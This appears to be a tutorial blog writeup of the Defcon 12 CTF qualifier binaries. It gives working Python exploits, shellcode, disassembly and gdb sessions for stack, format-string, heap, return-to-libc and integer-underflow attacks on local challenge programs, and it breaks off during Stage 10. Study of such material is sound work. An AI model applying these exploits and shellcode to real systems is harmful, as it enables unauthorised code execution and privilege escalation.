Defcon 2004 CTF Quals Writeup

September 28, 2012

Aaaaaah, yeah. Qualifying for Defcon 12, suckers!

This post is a tutorial-style writeup of all the Defcon 12 CTF qualifiers I could manage to solve. It should be a decent place to start if you haven’t done a lot of CTF style challenges/binary exploitation before, since the binaries all easily run on Linux and there are solutions available. I originally grabbed the binaries here, and I’ve also mirrored them here. Thanks captf.com, Defcon, and (I think) Ghetto Hackers!

I thought these challenges were fun, and there were a couple things I came across that I haven’t seen before. If this were skiing, this would be a blue square, which stands for intermediate. It might be a bit boring for the pros, but I’m not going to re-hash your first buffer overflow or talk about all the details of a format string either (and there should be enough information to hopefully follow along if you get stuck at any point).

If you try these and you do get stuck, feel free to ask questions and I’ll do my best to answer them.

Setup

Downloading the challenges, these are just a bunch of ELF files that are run locally. I assume in the real qualifiers each stage was probably setuid to the next level, similar to how other popular challenges like smashthestack work. My goal for each level was to simply get a single shell. I reused the same /bin/dash shellcode again and again. I made no effort to make things reliable or anything, and in some cases it would be pretty difficult to make these exploits reliable.

I used a Backtrack 5 R2 32 bit vm. 32 bit may be important since by default 32 bit doesn’t seem to enable NX, so depending on the binary it might be easier to execute code on the stack.

root@bt:~# dmesg |grep -i nx [ 0.000000] Notice: NX (Execute Disable) protection cannot be enabled: non-PAE kernel!

Also, I disabled ASLR.

root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space

As for tools, I pretty much only used python, IDA Pro and gdb. Alright, let’s get cracking!

Stage 2

This one was a very straightforward stack overflow. The first thing I did was just run it with a long argv1. It crashed. So then I set ulimit -c unlimited and metasploits pattern_create/pattern_offset to observe the dump.

./stage2 `pattern_create.rb 1024`

This created a segfault

gdb ./stage2 core info registers ... shell ./pattern_offset.rb 35644134 104

So offset 104 for an eip overwrite, and the shellcode can probably go after 104, since that doesn’t seem to have been modified.

#!/usr/bin/python import os import struct class exploit: def __init__(self): self.vulnpath = "./stage2" #spawns /bin/dash, real server may require different stuff (connectback, etc) dashsc = ( "\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" + "\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" + "\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" + "\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" + "\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" + "\x76\x48" ) retaddr = struct.pack("<I", 0xbffffcf0) * 5 padlen = 100 self.payload = ("A" * 100 + retaddr + "\x90" * 300) + dashsc self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : dashsc} def pwn(self): os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env) m = exploit() m.pwn()

Stage 3

This looks like a straightforward format string

.text:08048364 push ebp .text:08048365 mov ebp, esp .text:08048367 sub esp, 8 .text:0804836A mov eax, [ebp+format] .text:0804836D mov [esp], eax ; format .text:08048370 call _printf .text:08048375 leave .text:08048376 retn .text:08048376 sub_8048364

And sure enough running with %n crashes the process. Looking for a location to overwrite:

# objdump -s -j .dtors stage3 stage3: file format elf32-i386 Contents of section .dtors: 8049594 ffffffff 00000000 ........

So overwriteloc = 8049598

#!/usr/bin/python import struct import os class exploit: def __init__(self): self.vulnpath = "/root/Desktop/stage3" #spawns /bin/dash dashsc = ( "\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" + "\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" + "\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" + "\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" + "\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" + "\x76\x48" ) owlocation = 0x08049598 #owValue = 0x41414242 owValue = 0xbfffff3c #nice to make sure self.payload is always a consistent length #padlen and offset are tied together padlen = 562 offset = 110 #fmtstr = "AAAABBBBCCCCDDD %113$08x" fmtstr = self.address_overwrite_format(owlocation, owValue) self.payload = (self.padstr(fmtstr)) self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" *112 + dashsc} def padstr(self, payload, padlen=650): if (len(payload) > padlen): raise "payload too long" return payload + (" " * (padlen-len(payload))) def address_overwrite_format(self, owlocation, owvalue): HOW = owvalue >> 16 LOW = owvalue & 0xffff mformat = "" if LOW > HOW: mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(HOW-8) +"x%113$hn%." + str(LOW-HOW) + "x%114$hn" else: print "here" mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(LOW-8) +"x%114$hn%." + str(HOW-LOW) + "x%113$hn" return mformat def pwn(self): os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env) m = exploit() m.pwn()

Stage 4

This one needs both HELLOWORLD envrironment variable and an arg

Helloworld overwrites the local counter variable, which is used as an offset.

The loop at 08048472 is copying from src+var_counter to buffer+varcounter, one byte at a time. When we overflow, we overwrite the counter (at byte offset 125) so using this we can overwrite the return address on the stack (at offset 140).

Here’s the loop:

.text:08048472 loc_8048472: ; CODE XREF: func_infinite+4Ej .text:08048472 mov eax, [ebp+var_counter] .text:08048475 add eax, [ebp+src] .text:08048478 cmp byte ptr [eax], 0 .text:0804847B jnz short loc_804847F .text:0804847D jmp short locret_804849C .text:0804847F ; --------------------------------------------------------------------------- .text:0804847F .text:0804847F loc_804847F: ; CODE XREF: func_infinite+2Fj .text:0804847F lea eax, [ebp+buffer] ; copy from src+counter to buffer+counter .text:08048485 mov edx, eax .text:08048487 add edx, [ebp+var_counter] .text:0804848A mov eax, [ebp+var_counter] .text:0804848D add eax, [ebp+src] .text:08048490 movzx eax, byte ptr [eax] .text:08048493 mov [edx], al .text:08048495 lea eax, [ebp+var_counter] .text:08048498 inc dword ptr [eax] .text:0804849A jmp short loc_8048472 .text:0804849C ; --------------------------------------------------------------------------- .text:0804849C .text:0804849C locret_804849C: ; CODE XREF: func_infinite+31j .text:0804849C leave .text:0804849D retn

The stack looks like this:

-00000088 buffer db 124 dup(?) -0000000C var_counter dd ? -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 db ? ; undefined -00000003 db ? ; undefined -00000002 db ? ; undefined -00000001 db ? ; undefined +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 src dd ?

So the final exploit was:

#!/usr/bin/python import os import argparse import struct class exploit: def __init__(self): self.vulnpath = "./stage4" #spawns /bin/dash dashsc = ( "\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" + "\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" + "\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" + "\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" + "\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" + "\x76\x48" ) overwriteaddr = struct.pack("<I", 0xbffffe60) arg1 = "A" * 140 #eip offset is at 140 (0x8b) #we overwrite the counter byte at 125 envin = "B" * 124 + "\x8b" + "B" * 15 + overwriteaddr self.payload = arg1 self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" * 200 + dashsc, "HELLOWORLD" : envin} self.mfile = "command.gdb" def rungdb(self): #write to command.gdb mf = open(self.mfile, "w") #edit me commands = [ "file " + self.vulnpath, "set $src=8", "set $counter=-0xc", "set $buffer=-0x88", "break *0x08048472 if *(int)($ebp-0xc) == 124", "run " + '"' + self.payload + '"', "info registers", "disable 1", "break *0x08048472", "x/d $ebp + $counter" ] mf.writelines([i + "

" for i in commands]) mf.close() gdbargs = ["/usr/bin/gdb", "-x", self.mfile] os.execve("/usr/bin/gdb", gdbargs, self.env) def pwn(self): os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env) parser = argparse.ArgumentParser() parser.add_argument("--debug", action="store_true") args = parser.parse_args() m = exploit() if args.debug: m.rungdb() else: m.pwn()

Stage 5

I’m not sure why this level exists… it’s the easiest yet… vanilla strcpy. Literally a 5 minute level. To make the tutorial more interesting, I tried to exploit this without executing code on the stack with return2libc.

First, I created a simple setuid program named wrapper:

int main() { setuid(0); setgid(0); system("/bin/sh"); }

Now the goal is to craft the stack so that I call execl like this:

execl("./wrapper", "./wrapper", NULL);

Because arguments are pushed in reverse, I need to put NULL in my string before “./wrapper”. One way to solve this is by putting a printf before the execv that has a format string, and then you can write NULL to the correct location on the stack before execl is called. (e.g. printf(“%3$n”, xxxx, xxxx, xxxx, myaddress)). In the end I need several addresses: the address for libc printf, libc execl, a pointer to the string %3$n, a pointer to the string “./wrapper”, and the stack address “myaddress”. I found these addresses by intentionally crashing the program with an invalid printf address and other placeholders, opening the core file with gdb and searching for the addresses. Useful gdb commands are “p printf” and “find $esp, 0xbfffffff, “./wrapper””.

The final exploit (which never executes on the stack and will vary based on your computer) looks like this:

#/usr/bin/python import os import argparse import struct class exploit: def __init__(self): self.vulnpath = "./stage5" printf = struct.pack("<I", 0xb7ebb130) execl = struct.pack("<I", 0xb7f0c330) formatstr = struct.pack("<I", 0xbfffffee) #points to %3$n progname = struct.pack("<I", 0xbfffffcd) #points to "./wrapper" nullwrite = struct.pack("<I", 0xbffffd30) #points to itself arg1 = "A" * 260 + printf + execl + formatstr + progname + progname + nullwrite self.payload = arg1 self.env = {"shell" : "/bin/dash", "format" : "%3$n", "blah" : "./wrapper"} self.mfile = "command.gdb" def pwn(self): os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env) m = exploit() m.pwn()

Stage 6

This is a heap overflow resulting in an arbitrary overwrite with the linking/unlinking. The while loop at the end is to prevent us from simply overwriting dtors.

I think the best approach is:

• We can control src and dest for the last strcpy at 0804841F

• Use it to overwrite our own return value saved on the stack for strcpy itself

One note is I used core dumps again rather than running with gdb directly, so gdb didn’t mess with any of the stack values since they’re sensative. Calculating how big stuff should be, arg1 starts overwriting the destination at offset 268

Here I try that with owDest set to 0x56565656, and ecx set to AAAAAAAA..

(gdb) info registers eax 0x56565656 1448498774 ecx 0x42 66 edx 0x0 0 ebx 0xb7fcaff4 -1208176652 esp 0xbffffae0 0xbffffae0 ebp 0xbffffae8 0xbffffae8 esi 0x56565655 1448498773 edi 0xbffffebe -1073742146 eip 0xb7ee8214 0xb7ee8214 <strcpy+20> eflags 0x210246 [ PF ZF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/i $eip => 0xb7ee8214 <strcpy+20>: mov %cl,0x1(%esi,%edx,1)

Looking around for valid addresses…

(gdb) x/i $eip => 0xb7ee8214 <strcpy+20>: mov %cl,0x1(%esi,%edx,1) (gdb) backtrace #0 0xb7ee8214 in strcpy () from /lib/tls/i686/cmov/libc.so.6 #1 0x08048424 in ?? () #2 0xb7e8bbd6 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6 #3 0x08048321 in ?? () (gdb) x/20x $esp 0xbffffae0: 0x00000000 0x00000000 0xbffffc18 0x08048424 0xbffffaf0: 0x56565656 0xbffffebe 0xb7e78ba8 0x00000001 0xbffffb00: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb10: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb20: 0x41414141 0x41414141 0x41414141 0x41414141

So we want to overwrite $esp + 12, or dest=0xbffffaec with an address for our shellcode, or 0xbfffff30. And bam, this works

#/usr/bin/python import os import argparse import struct class exploit: def __init__(self): self.vulnpath = "./stage6" #spawns /bin/dash dashsc = ( "\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" + "\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" + "\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" + "\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" + "\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" + "\x76\x48" ) owDest = struct.pack("<I", 0xbffffaec) scAddr = struct.pack("<I", 0xbfffff30) arg1 = "A" * 268 + owDest arg2 = scAddr self.arg1 = arg1 self.arg2 = arg2 self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" * 200 + dashsc} self.mfile = "command.gdb" def rungdb(self): #write to command.gdb mf = open(self.mfile, "w") #edit me commands = [ "file " + self.vulnpath, "set $arg1=0xc + 4", "set $arg2=0xc + 8", #"break *0x0804841F", "run " + '"' + self.arg1 + '" "' + self.arg2 + '"', "x/i $eip", "info registers" ] mf.writelines([i + "

" for i in commands]) mf.close() gdbargs = ["/usr/bin/gdb", "-x", self.mfile] os.execve("/usr/bin/gdb", gdbargs, self.env) def pwn(self): os.execve( self.vulnpath, [self.vulnpath, self.arg1, self.arg2], self.env) parser = argparse.ArgumentParser() parser.add_argument("--debug", action="store_true") args = parser.parse_args() m = exploit() if args.debug: m.rungdb() else: m.pwn()

Stage 7

This problem has a simple strcpy overflow, but we can’t just overwrite the ret value because of this “canary” loop that makes sure our string terminates.

.text:08048436 .text:08048436 loc_8048436: .text:08048436 cmp [ebp+var_a], 0 .text:0804843B jnz short loc_8

Since var_a (a local variable) is 0, that terminates our strcpy string and we’d have to terminate our overrun. But, there’s also a format string where we can overwrite a single word

Strategy:

• Simple regular overflow with the strcpy (it can’t be a whole address – only a word and this is in range)

• Printf overwrite the value for var_a

Important Offsets:

• 264 to var_malloced, which contains the value the location we can overwrite with our format string

• 270 to var_a, which we’re trying to overwrite with 0, but we can’t directly because it will end our string.

• 284 to ret

Format string is like: mov %dx,(%eax), where %dx is n (the number of bytes). Having an overwrite that’s exactly 2** 16th should wrap the value, so we can get a 0 into dx and bypass the “canary”, since the canary is only comparing 2 bytes with cmpw

0x08048436 in ?? () => 0x8048436: cmpw $0x0,-0xa(%ebp)

To get the address where the canary (var_a) exists, I let it run in that continuous loop and attached a debugger after running.

(gdb) attach 21379 Attaching to process 21379 Reading symbols from /root/Desktop/defcon/7/stage7...(no debugging symbols found)...done. Reading symbols from /lib/tls/i686/cmov/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/tls/i686/cmov/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 0x08048436 in ?? () (gdb) x/i $eip => 0x8048436: cmpw $0x0,-0xa(%ebp) (gdb) x/x $ebp -0xa #this is the value we need to overwrite 0xbffefd1e: 0x43434343 (gdb) x/x 0xbffefb8e #this is the value I guessed to be overwritten, so off a bit 0xbffefb8e: 0xf0000000

Here’s the final code:

#/usr/bin/python import os import argparse import struct class exploit: def __init__(self): self.vulnpath = "./stage7" #spawns /bin/dash dashsc = ( "\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" + "\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" + "\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" + "\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" + "\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" + "\x76\x48" ) #overwrite var_a with 0 to bypass the "canary" var_malloced = struct.pack("<I", 0xbffefd1e) var_a = struct.pack("<I", 0x43434343) ret_ow = struct.pack("<I", 0xbfffff10) arg1 = "A" * 264 + var_malloced + "AA" + var_a + "Q"* 10 + ret_ow #pad arg1 so it's 2**16 to have our overwrite value be exactly 0 arg1 += "D" * (2**16 - len(arg1)) self.arg1 = arg1 self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" * 200 + dashsc} self.mfile = "command.gdb" def rungdb(self): #write to command.gdb mf = open(self.mfile, "w") #edit me commands = [ "file " + self.vulnpath, "set $var_a=-0xA", "set $arg2=0xc + 8", "run " + '"' + self.arg1 + '"', "x/i $eip", "info registers" ] mf.writelines([i + "

" for i in commands]) mf.close() gdbargs = ["/usr/bin/gdb", "-x", self.mfile] os.execve("/usr/bin/gdb", gdbargs, self.env) def pwn(self): os.execve( self.vulnpath, [self.vulnpath, self.arg1], self.env) parser = argparse.ArgumentParser() parser.add_argument("--debug", action="store_true") args = parser.parse_args() m = exploit() if args.debug: m.rungdb() else: m.pwn()

Stage 8

This program crashes very easily, but the exploit took a few steps. Here’s the overall strategy.

Overwrite the address 0x41414141 with the value 9000, which will segfault. Note ebp in the crash dump (in the prog below this is owDest, which references the %hn and owValue is the len being put there) Program terminated with signal 11, Segmentation fault. #0 0xb7eb4ec1 in vfprintf () from /lib/tls/i686/cmov/libc.so.6 (gdb) info registers eax 0x41414141 1094795585 ecx 0xbfff6d3c -1073779396 edx 0x9000 36864 ebx 0xb7fc9ff4 -1208180748 esp 0xbfff665c 0xbfff665c ebp 0xbfff6be8 0xbfff6be8 esi 0xbfff6c10 -1073779696 edi 0xbfff6d38 -1073779400 eip 0xb7eb4ec1 0xb7eb4ec1 <vfprintf+17073> eflags 0x10286 [ PF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/i $eip => 0xb7eb4ec1 <vfprintf+17073>: mov %dx,(%eax) Overwrite ebp with xxxx9000, which is an address we control. This took some trial and error to see how long it should be, but 9000 seems reasonable (gdb) x/x 0xbfff9000 0xbfff9000: 0x41414141 Having accomplished the first two steps, we still segfault at the end of vsnprintf movb 0x0,($edx). We control edx, so find this offset so we overwrite something harmlessly. Using msf_pattern, this offset is at location 8012. Below is the crash. (gdb) info registers eax 0x9000 36864 ecx 0xbfff6bf4 -1073779724 edx 0x41414141 1094795585 ebx 0xb7fc9ff4 -1208180748 esp 0xbfff6bf4 0xbfff6bf4 ebp 0xbfff9000 0xbfff9000 esi 0xbfff6cb0 -1073779536 edi 0xbfff6d38 -1073779400 eip 0xb7ed446e 0xb7ed446e <vsnprintf+206> eflags 0x10a87 [ CF PF SF IF OF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/i $eip => 0xb7ed446e <vsnprintf+206>: movb $0x0,(%edx) Ebp now points to our controlled value, so we need to find offset to the xxxx9000 that we’re pointing at, and point it at our shellcode (remember it’s a pointer to our shellcode, not our shellcode itself). It’s offset is at 8012 + 216, and searching through the program for our shellcode we can just point it at that.

Now that we have all these offsets, we can build an exploit.

#/usr/bin/python import os import argparse import struct from subprocess import * class exploit: def __init__(self): self.vulnpath = "./stage8" #spawns /bin/dash dashsc = ( "\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" + "\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" + "\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" + "\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" + "\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" + "\x76\x48" ) #at the segfault, this is the return stack #overwrite $ebp owDest = struct.pack("<I", 0xbfff6be8) owValue = 0x9000 #useful msf patterns to find offsets #patternprog = "/usr/bin/ruby /opt/framework3/msf3/tools/pattern_create.rb " + str(owValue) #msfhandle = Popen(patternprog, shell=True, stdout=PIPE) #msf_pattern = msfhandle.communicate()[0].strip() garbageow = struct.pack("<I", 0xbfffffc4) ebpPointer = struct.pack("<I", 0x45454545) ebpPointer = struct.pack("<I", 0x41414141) eipPointer = struct.pack("<I", 0xbfff7c90) dashsc += "\x90" * 5000 + dashsc self.payload = owDest + dashsc + ("A" * (8012-len(dashsc))) self.payload += garbageow + "C" * 212 + ebpPointer + eipPointer self.payload += "G" * (owValue - len(self.payload)-2) self.env = {"shell" : "/bin/dash", "format" : "%3$n"} self.mfile = "command.gdb" #addresses were finicky - I opted to use dump files for this one def rungdb(self): #write to command.gdb mf = open(self.mfile, "w") #edit me commands = [ "file " + self.vulnpath, "break *0x08048453", "run " + '"' + self.payload + '"', ] mf.writelines([i + "

" for i in commands]) mf.close() gdbargs = ["/usr/bin/gdb", "-x", self.mfile] os.execve("/usr/bin/gdb", gdbargs, self.env) def pwn(self): os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env) parser = argparse.ArgumentParser() parser.add_argument("--debug", action="store_true") args = parser.parse_args() m = exploit() if args.debug: m.rungdb() else: m.pwn()

Stage 9

One of the first things I noticed here was ctype call, so this was useful: http://refspecs.linuxbase.org/LSB_3.0.0/LSB-Core-generic/LSB-Core-generic/baselib—ctype-b-loc.html

The check at 0x080484B9 needs a 0x80 at an even offset to succeed, and we can only control up to the table plus 0xff.Looking at these values:

(gdb) x/510hx $eax+1 0xb7f92721: 0x0800 0x00d8 0x0800 0x00d8 0x0800 0x00d8 0x0800 0x00d8 0xb7f92731: 0x0800 0x00d8 0x0800 0x00d8 0x0800 0x00d8 0x0800 0x00d8 0xb7f92741: 0x0800 0x00d8 0x0800 0x00d8 0x0400 0x00c0 0x0400 0x00c0 0xb7f92751: 0x0400 0x00c0 0x0400 0x00c0 0x0400 0x00c0 0x0400 0x00c0 0xb7f92761: 0x0400 0x00c0 0x0800 0x00d5 0x0800 0x00d5 0x0800 0x00d5 0xb7f92771: 0x0800 0x00d5 0x0800 0x00d5 0x0800 0x00d5 0x0800 0x00c5 0xb7f92781: 0x0800 0x00c5 0x0800 0x00c5 0x0800 0x00c5 0x0800 0x00c5 0xb7f92791: 0x0800 0x00c5 0x0800 0x00c5 0x0800 0x00c5 0x0800 0x00c5 0xb7f927a1: 0x0800 0x00c5 0x0800 0x00c5 0x0800 0x00c5 0x0800 0x00c5 0xb7f927b1: 0x0800 0x00c5 0x0800 0x00c5 0x0800 0x00c5 0x0800 0x00c5 0xb7f927c1: 0x0800 0x00c5 0x0800 0x00c5 0x0800 0x00c5 0x0400 0x00c0 0xb7f927d1: 0x0400 0x00c0 0x0400 0x00c0 0x0400 0x00c0 0x0400 0x00c0 0xb7f927e1: 0x0400 0x00c0 0x0800 0x00d6 0x0800 0x00d6 0x0800 0x00d6 0xb7f927f1: 0x0800 0x00d6 0x0800 0x00d6 0x0800 0x00d6 0x0800 0x00c6 0xb7f92801: 0x0800 0x00c6 0x0800 0x00c6 0x0800 0x00c6 0x0800 0x00c6 0xb7f92811: 0x0800 0x00c6 0x0800 0x00c6 0x0800 0x00c6 0x0800 0x00c6 0xb7f92821: 0x0800 0x00c6 0x0800 0x00c6 0x0800 0x00c6 0x0800 0x00c6 0xb7f92831: 0x0800 0x00c6 0x0800 0x00c6 0x0800 0x00c6 0x0800 0x00c6 0xb7f92841: 0x0800 0x00c6 0x0800 0x00c6 0x0800 0x00c6 0x0400 0x00c0 0xb7f92851: 0x0400 0x00c0 0x0400 0x00c0 0x0400 0x00c0

Also, looking ahead in the code, var_58 (which is retrieved from a wonky calculation from the lookup table) is first checked to see if it’s bigger than 0x4f, and if it is it’s just set to 0x4f. This is the size of our buffer.

08048523 jle short loc_804852C 08048525 mov [ebp+var_58], 4Fh ...

This value is then put in a loop until it’s equal to -1, and var_58 is treated like a counter, being decremented every time. Meanwhile, our arg is copied into that buffer of size 0x4f.

.text:08048530 .text:08048530 loc_8048530: ; CODE XREF: main+55j .text:08048530 dec [ebp+var_58] .text:08048533 cmp [ebp+var_58], 0FFFFFFFFh .text:08048537 jnz short loc_8048540 .text:08048539 jmp short loc_8048553 .text:08048539 ; --------------------------------------------------------------------------- .text:0804853B align 10h .text:08048540 .text:08048540 loc_8048540: ; CODE XREF: main+3Bj .text:08048540 call _getchar .text:08048545 mov eax, eax .text:08048547 mov ecx, [ebp+var_bufferptr] .text:0804854A mov edx, ecx .text:0804854C mov [edx], al .text:0804854E inc [ebp+var_bufferptr] .text:08048551 jmp short loc_8048530 .text:08048553 ; ---------------------------------------------------------------------------

This has an integer error since it’s checking if our signed int is -1 and then decing it. The more negative our number the less iterations we go through, and while we don’t need to be exact, there’s a > 2GB difference between -2 and the -MAX_INT. Let’s see the most negative number we can get from the weird calculation. As input there are quite a few numbers that have \x80 that we could play with. However I tried to just “brute force” this and use the second one at offset \x30 (if you use the first one, it subtracts the value and it’s a nop). So I gave it a bunch of \x30s (thousands) and set a conditional breakpoint to check what the value is.

"break *0x080484E3 if $edx < -2000000000",

I also had a breakpoint set so it would print the original arg address

"break *0x08048530", "print \"EBP plus arg0 is: \"", "print $ebp + 8" ,

So sure enough, there is a \x30 which is below -2000000000 (close enough to -MAX_INT). To calculate, I can just take the difference of the value printed and the value of $ebp+8 at the breakpoint. The difference is 18, so in conclustion 18 “\x30” gives us a number pretty close to -INT_MAX, which is our smallest distance to get back to -1 and exit the loop.

There is still a lot of space there that we need to have available for overwriting to avoid a segfault. We need about 2.3GB of space to overwrite. I needed to configure my environment to allow this, but your kernel could also have restrictions.

ulimit -s unlimited getconf ARG_MAX

Even setting bash to the max, 2.3 GB was more than Backtrack 5 R2 32 bit allows without a kernel recompilation. I ended up having to migrate to 64 bit Backtrack R3, which allowed a big enough stack size out of the box.

So now I needed to generate a massive STDIN. This is what’s overwriting my buffer and will contain my shellcode.

#!/usr/bin/python import struct f = open("stdin", "w") #spawns /bin/dash dashsc = ( "\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" + "\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" + "\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" + "\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" + "\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" + "\x76\x48" ) #random stack address #retaddr = struct.pack("<I", 0xfee498c0) retaddr = struct.pack("<I", 0xf7e4c881) f.write(retaddr * 2**16) for i in range (0,35000): f.write("\x90" * 2**16 + "\xcc" + dashsc) f.flush() f.close()

Here’s the final wrapper. Remember, it needs enough space on the stack to copy all this garbage. I did this by creating tons of environment variables, since something in my environment was throwing an exception when I tried to make a single environment variable much bigger.

#!/usr/bin/python import os import argparse import struct class exploit: def __init__(self, path): self.vulnpath = path #spawns /bin/dash dashsc = ( "\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" + "\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" + "\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" + "\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" + "\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" + "\x76\x48" ) #this give us a relatively close underflow arg1 = (18) * "\x31" self.payload = arg1 self.env = { "shell" : "/bin/dash", "format" : "%3$n" } #add env padding - 3500 is roughly 100 MB #for i in range(0,3500): for i in range(0,35000): padkey = "pad" + str(i) self.env[padkey] = "A" * 2**16 print "Done padding" self.mfile = "command.gdb" def rungdb(self): #write to command.gdb print "no debugging - stack needs too much room" def pwn(self): os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env) parser = argparse.ArgumentParser() parser.add_argument("--debug", action="store_true") parser.add_argument('path') args = parser.parse_args() m = exploit(args.path) if args.debug: m.rungdb() else: m.pwn()

Finally, just run this while redirecting stdin, and if the environment’s right, you should get code execution.

Stage 10

This is the only one I wasn’t able to exploit. I’m not sure this one is exploitable on my Backtrack 5 R2 distro, but I’d love any feedback. There are two exploit paths I can see, and neither one of them has panned out. I eventually gave up because this is something that easily could have been exploitable on their system but not mine, especially since this CTF is from 2004.

First, notice there’s this signal call.

.text:080484F7 push 0Ah ; handler .text:080484F9 push 0Ah ; sig .text:080484FB call _signal

when the program is sent a signal (e.g. kill -10), this tells it to start executing code in location 10.

Additionally, the strcpy in 08048516 allows us to overwrite everything on the stack, including the local variables (e.g. the return value of the malloc). Because of this we have an arbitrary overwrite here:

.text:08048520 mov edx, [ebp+var_malloced] .text:08048523 mov eax, edx .text:08048525 mov edx, [ebp+arg_4] .text:08048528 add edx, 8 .text:0804852B mov ecx, [edx] .text:0804852D mov ebx, ecx .text:0804852F mov cl, [ebx] .text:08048531 mov [eax], cl ; eax is var_malloced + counter, cl is also controlleable .text:08048533 inc dword ptr [edx] .text:08048535 inc [ebp+var_malloced] .text:08048538 test cl, cl .text:0804853A jnz short loc_804

I’ve ignored the details for now, but it’s clear we can overwrite arbitrary memory with our controlled values. The problem is that immediately after this overwrite there is an infinite loop.

Before trying an exploit in order to simplify things, I tried the following in gdb to see what was possible.

The first thing I tried was to overwrite 0x0000000A. If we could put shellcode here then it would execute when we send our kill. 0x00000000 does seem to be a valid userspace address. For example, we can mmap memory there:

